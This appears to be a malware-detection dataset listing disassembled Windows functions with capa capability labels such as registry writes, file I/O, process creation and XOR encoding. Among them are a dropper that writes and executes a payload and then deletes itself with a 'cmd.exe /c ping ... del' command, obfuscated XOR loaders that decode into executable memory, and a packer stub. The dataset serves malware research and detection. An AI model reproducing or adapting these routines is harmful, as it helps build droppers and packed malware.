joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005660
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov dword [ebp - 4], 0xcccccccc
mov dword [ebp - 4], ecx
xor eax, eax
jne 0x1000566f
xor ecx, ecx
jne 0x1000566f
mov esi, esp
push 4
lea edx, [ebp + 0xc]
push edx
push 4
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp esi, esp
call fcn.1001e274
pop esi
add esp, 4
cmp ebp, esp
call fcn.1001e274
mov esp, ebp
pop ebp
ret 8

Function at 0x100056b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 4], ecx
xor eax, eax
jne 0x100056ce
xor ecx, ecx
jne 0x100056ce
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0
jne 0x100056ef
mov eax, 0xd
jmp 0x1000575c
xor eax, eax
jne 0x100056d6
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov esi, esp
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp esi, esp
call fcn.1001e274
add eax, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0x10], 1
jne 0x10005700
mov esi, esp
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp esi, esp
call fcn.1001e274
pop esi
add esp, 0x14
cmp ebp, esp
call fcn.1001e274
mov esp, ebp
pop ebp
ret 8

Function at 0x10009e70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], 0xcccccccc
mov dword [ebp - 4], 0xcccccccc
mov dword [ebp - 8], 0
push 0x105
mov ecx, dword [ebp + 0xc]
call fcn.100071c0
mov esi, esp
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp esi, esp
call fcn.1001e274
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
call fcn.1000dd00
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
call fcn.100070a0
mov ecx, dword [ebp - 8]
or ecx, 1
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
pop esi
add esp, 8
cmp ebp, esp
call fcn.1001e274
mov esp, ebp
pop ebp
ret
Function at 0x10009ef0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031731
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov eax, dword [0x10040224]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x14]
call fcn.1000dca0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1c]
push ecx
call fcn.10009e70
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.10007160
push 0x104
mov ecx, dword [ebp + 0xc]
call fcn.100071c0
mov esi, esp
push eax
push 0
push 0x10034104
lea ecx, [ebp - 0x14]
call fcn.10008100
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
cmp esi, esp
call fcn.1001e274
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
call fcn.1000dd00
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
call fcn.100070a0
mov eax, dword [ebp - 0x20]
or eax, 1
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10007160
mov eax, dword [ebp + 8]
push edx
mov ecx, ebp
push eax
lea edx, [0x10009fe4]
call fcn.1001e297
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x20
cmp ebp, esp
call fcn.1001e274
mov esp, ebp
pop ebp
ret

Function at 0x1000ac80
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 4], ecx
push 0
mov ecx, 0x100416dc
call fcn.1000c6f0
push eax
lea ecx, [ebp - 0xc]
call fcn.100070a0
lea ecx, [ebp - 0xc]
call fcn.10008100
mov esi, esp
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp esi, esp
call fcn.1001e274
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
je 0x1000ace0
cmp dword [ebp - 0x14], 4
jne 0x1000acf4
mov dword [ebp - 0x18], 1
lea ecx, [ebp - 0xc]
call fcn.10007160
mov eax, dword [ebp - 0x18]
jmp 0x1000ad06
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0xc]
call fcn.10007160
mov eax, dword [ebp - 0x1c]
push edx
mov ecx, ebp
push eax
lea edx, [0x1000ad28]
call fcn.1001e297
pop eax
pop edx
pop esi
add esp, 0x1c
cmp ebp, esp
call fcn.1001e274
mov esp, ebp
pop ebp
ret
Function at 0x1000c820
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 4], ecx
xor eax, eax
jne 0x1000c847
xor ecx, ecx
jne 0x1000c847
mov dword [ebp - 0x10], 4
mov esi, esp
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp esi, esp
call fcn.1001e274
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000c88b
mov eax, dword [ebp - 8]
jmp 0x1000c89a
cmp dword [ebp - 0x1c], 4
je 0x1000c898
mov eax, 0xd
jmp 0x1000c89a
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x1000c8bc]
call fcn.1001e297
pop eax
pop edx
pop esi
add esp, 0x20
cmp ebp, esp
call fcn.1001e274
mov esp, ebp
pop ebp
ret 8

Function at 0x10014525
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x10014549
cmp dword [edi + 0x54], 0
jne 0x10014549
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.100101dd
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.100144e6
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x10019927
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x1001996e
call fcn.100101dd
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x1001996e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x1001998a
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.1001949f
mov esi, eax
test edi, edi
je 0x10019988
test ebx, ebx
je 0x10019988
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1001e7f8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10040224]
jne 0x1001e802
repz ret
jmp fcn.10023d0c
Function at 0x1002aebb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10023654
and dword [ebp - 4], 0
cmp dword [0x10044090], 0
mov ebx, eax
jne 0x1002af6c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1002b01d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1002b01d
push eax
call fcn.100235e2
mov dword [esp], 0x100386c8
push edi
mov dword [0x10044090], eax
call esi
push eax
call fcn.100235e2
mov dword [esp], 0x100386b4
push edi
mov dword [0x10044094], eax
call esi
push eax
call fcn.100235e2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10044098], eax
call esi
push eax
call fcn.100235e2
pop ecx
mov dword [0x100440a0], eax
test eax, eax
je 0x1002af6c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100235e2
pop ecx
mov dword [0x1004409c], eax
mov eax, dword [0x1004409c]
cmp eax, ebx
je 0x1002afc4
cmp dword [0x100440a0], ebx
je 0x1002afc4
push eax
call fcn.1002365d
push dword [0x100440a0]
mov esi, eax
call fcn.1002365d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1002afc4
test edi, edi
je 0x1002afc4
call esi
test eax, eax
je 0x1002afbb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1002afbb
test byte [ebp - 0xc], 1
jne 0x1002afc4
or dword [ebp + 0x10], 0x200000
jmp 0x1002affd
mov eax, dword [0x10044094]
cmp eax, ebx
je 0x1002affd
push eax
call fcn.1002365d
pop ecx
test eax, eax
je 0x1002affd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1002affd
mov eax, dword [0x10044098]
cmp eax, ebx
je 0x1002affd
push eax
call fcn.1002365d
pop ecx
test eax, eax
je 0x1002affd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10044090]
call fcn.1002365d
pop ecx
test eax, eax
je 0x1002b01d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1002b01f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408937
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
or ecx, ecx
and edi, edi
call fcn.00408965
sub edi, 1
dec ecx
xor dword [edx], eax
sub ecx, 0xce662c5e
inc ecx
inc edx
or ecx, ecx
cmp edx, esi
jne fcn.00408937
push ecx
pop ecx
sub edi, edi
ret
Function at 0x401e50
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
mov dword [esp + 0x3c], 0x44
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
add esp, 0x54
ret

Function at 0x402000
Capabilities:
Read file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [esp + 8]
ret 8

Function at 0x402030
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
ret 8

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4033ec], eax
mov eax, dword [ebp + 4]
mov dword [0x40321d], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401020
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40321d]
mov dword [ebp - 0x48], eax
mov eax, 0x4016dc
mov dword [ebp - 0x54], eax
mov ecx, str.Hello
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor ecx, ecx
push ecx
push dword [0x40321d]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.lukifas
push eax
mov eax, str.Hello
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403438], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403438]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4010bc
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4010b5
mov esp, ebp
ret
Function at 0x4010df
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00403850
push ebx
push edi
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1003]
mov byte [ebp - 0x1004], bl
push ebx
rep stosd dword es:[edi], eax
push 0x80
push 3
push ebx
push ebx
stosw word es:[edi], ax
push SysReAllocString
push dword [ebp + 0xc]
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40112c
xor eax, eax
jmp 0x401190
mov edi, dword [ebp + 0x10]
push esi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1004]
push ebx
push eax
mov dword [ebp + 0xc], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
push ebx
push eax
lea eax, [ebp - 0x1004]
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp + 0xc], ebx
je 0x401183
push dword [ebp + 0xc]
lea eax, [ebp - 0x1004]
push eax
mov eax, dword [edi]
add eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp + 0xc]
add esp, 0xc
add dword [edi], eax
jmp 0x401135
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x401194
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
push ebx
push esi
mov esi, 0x100000
push edi
push esi
call sub.MFC42.DLL_operatornew
xor ebx, ebx
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 0xc], edi
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004010df
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 0xc
cmp byte [edi], 0x4d
je 0x401202
lea eax, [ebp - 4]
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004010df
add esp, 0xc
push 0x64
call esi
cmp byte [edi], 0x4d
jne 0x4011e2
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x127]
mov byte [ebp - 0x128], bl
mov byte [ebp - 0x24], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x23]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
push 5
push eax
call fcn.0040107c
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov edi, eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x128]
push str.c:_s.exe
push eax
and edi, 0x1ff
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x128]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
mov dword [ebp - 8], eax
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0x10], eax
push 0x64
call esi
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0x64
call esi
lea eax, [ebp - 0x14]
push ebx
push eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x10]
call sub.MFC42.DLL_operatordelete
push dword [ebp - 0xc]
call sub.MFC42.DLL_operatordelete
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x527]
mov byte [ebp - 0x528], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x528]
push str.cmd.exe__c_ping_127.0.0.1__n_2_s___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x528]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x1f4
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403e59
pop dword [ebp - 0x2c]
mov eax, 0xf4ee14cf
sub eax, 0xf4add676
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6e516a13
add dword [ebp - 0x3c], 0xe000db38
mov dword [ebp - 0x38], 0x41f6c7fa
sub dword [ebp - 0x38], 0xfc37bb5
mov dword [ebp - 0x34], 0x678f90dd
add dword [ebp - 0x34], 0xe4bcb351
mov dword [ebp - 0x30], 0x50b4f084
add dword [ebp - 0x30], 0xaf4b0f7c
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x161f5f4f
sub eax, 0x15deeeeb
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x9f9ed699
sub dword [ebp - 0x3c], 0x2b2c6d43
mov dword [ebp - 0x38], 0x29997151
sub dword [ebp - 0x38], 0xe82d0fdc
mov dword [ebp - 0x34], 0xdc186959
sub dword [ebp - 0x34], 0x78a8fced
mov dword [ebp - 0x30], 0x2e34fc5
add dword [ebp - 0x30], 0xfd1cb03b
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x6a8a949b
sub eax, 0x6a4a23f3
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3bb61
push 0
call eax
mov ecx, 0x5bdb
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x2c]
mov esi, 0xec44c357
add esi, 0x2df25205
xor dword [ebp - 0x1c], 0xe4dd495f
mov edi, dword [ebx]
sub dword [ebp - 4], esi
add edi, esi
mov dword [edx], edi
sub dword [ebp - 8], 0x8edb11d5
add edx, 0x839dd923
sub edx, 0x839dd91f
add ebx, 0x5bbbe6b1
sub ebx, 0x5bbbe6ad
loop 0x403f71
add eax, 0xc13ca6ac
add eax, 0x3ec4bb93
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4286a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4286b0
pop dword [ebp - 0x18]
mov eax, 0xed6026e4
sub eax, 0xed1da034
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x4f46b
push 0
mov eax, 0x8c86bfad
sub eax, 0x8c420cf1
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xe41453d2
sub ecx, 0xe4140f05
mov edx, eax
mov ebx, 0xcde917c8
sub ebx, 0xcda099c8
add ebx, dword [ebp - 0x18]
mov esi, 0xecd00677
add esi, 0xf9ceeed3
xor dword [ebp - 0x10], 0xbb5863e
mov edi, dword [ebx]
xor dword [ebp - 8], 0x7875aec6
xor edi, esi
mov dword [ebp - 8], 0xe6a4c68e
mov dword [edx], edi
add dword [ebp - 0xc], edx
add edx, 4
add ebx, 0xda479cc0
sub ebx, 0xda479cbc
loop 0x42870f
add eax, 0xd2e5c1ad
add eax, 0x2d1b445a
mov ebx, eax
add eax, 0x7c251cea
add eax, 0x83dae31b
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x4144de
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c83f
and dword [ebp - 0x14], 0
cmp dword [0x4225d8], 0
mov dword [ebp - 0x18], eax
jne 0x414591
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414639
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x414639
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4225d8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4225dc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4225e0], eax
call edi
push eax
call esi
mov dword [0x4225e8], eax
test eax, eax
je 0x414591
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4225e4], eax
mov eax, dword [0x4225e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4145ea
cmp dword [0x4225e8], ecx
je 0x4145ea
push eax
call esi
push dword [0x4225e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4145ea
test ebx, ebx
je 0x4145ea
call edi
test eax, eax
je 0x4145e1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4145e1
test byte [ebp - 8], 1
jne 0x4145ea
or dword [ebp + 0x10], 0x200000
jmp 0x41461d
mov eax, dword [0x4225dc]
cmp eax, dword [ebp - 0x18]
je 0x41461d
push eax
call esi
test eax, eax
je 0x41461d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41461d
mov eax, dword [0x4225e0]
cmp eax, dword [ebp - 0x18]
je 0x41461d
push eax
call esi
test eax, eax
je 0x41461d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4225d8]
call esi
test eax, eax
je 0x414639
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41463b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a7df
leave
ret

Function at 0x431001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
popal
nop
nop
jmp loc.00401219